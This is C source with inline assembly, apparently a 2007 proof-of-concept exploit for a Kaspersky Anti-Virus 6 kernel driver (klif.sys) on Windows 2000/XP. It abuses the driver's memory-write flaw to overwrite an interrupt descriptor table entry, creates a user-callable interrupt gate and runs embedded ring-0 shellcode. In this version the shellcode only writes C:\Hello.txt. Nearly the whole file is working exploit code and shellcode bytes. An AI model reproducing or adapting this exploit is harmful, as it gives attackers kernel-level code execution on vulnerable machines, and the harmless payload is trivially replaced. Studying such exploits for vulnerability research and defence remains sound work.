// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"

unsigned char Shellcode[405] = {
0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B,
0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66,
0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF,
0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00,
0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D,
0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89,
0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1,
0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D,
0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02,
0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00,
0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45,
0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF,
0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F,
0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF,
0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74,
0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77,
0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,
0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D,
0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8,
0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C,
0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24,
0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89,
0x6C, 0x24, 0x1C, 0x61, 0xC3
};

typedef struct _FIRST_PARAM {
ULONG SwitchIndex;
ULONG Unknown; // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
ULONG Value; // this value will rewrite DWORD of memory
} FIRST_PARAM, *PFIRST_PARAM;

void main(int argc, char* argv[])
{
__try
{
FIRST_PARAM Param1;
ULONG Param2; // pointer to write DATA - 8
CHAR Idtr[6];
CHAR IsKAVInstalled;
OSVERSIONINFOEX os;

os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((LPOSVERSIONINFO)&os);

if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
os.dwMajorVersion != 5 ||
os.dwMinorVersion > 1)
{
printf("This OS version unsupported\n");
return;
}

// ??? ?????? ?????????, ?????????? ?? KAV ??? ???

__asm {
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 0F8h // 2k
jmp short $+7
mov eax, 11Ch // xp
int 2Eh

cmp eax, 0Ch
setz al
mov IsKAVInstalled, al
}

if (!IsKAVInstalled)
{
printf("KAV6 didn't installed\n");
return;
}

Param1.SwitchIndex = 3; // Index of jmp in case of switch()
Param1.Unknown = 0xFF0002;

__asm {
pusha
sidt Idtr

mov eax, dword ptr [Idtr+2]

add eax, 0DAh * 8 - 8
mov Param2, eax

// Write lower DWORD IdtEntry

mov ecx, offset Shellcode
and ecx, 0000FFFFh
or ecx, 00080000h
mov Param1.Value, ecx // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]

push Param2
lea eax, Param1
push eax

mov edx, esp
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 100h // 2k
jmp short $+7
mov eax, 124h // xp
int 2Eh
add esp, 2*4

// Write high DWORD IdtEntry

add Param2, 4

mov ecx, offset Shellcode
and ecx, 0FFFF0000h
or ecx, 0000EE00h
mov Param1.Value, ecx // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]

push Param2
lea eax, Param1
push eax

mov edx, esp
cmp os.dwMinorVersion, 0
jnz short $+13
mov eax, 100h // 2k
jmp short $+7
mov eax, 124h // xp
int 2Eh
add esp, 2*4

// Call Gate :-) (COLGATE)

push fs
int 0DAh
pop fs

popa
}

printf("Exploited successful\n");
}
__except(1) {
printf("Can't create interrupt gate\n");
}
}

// 15.01.07 MaD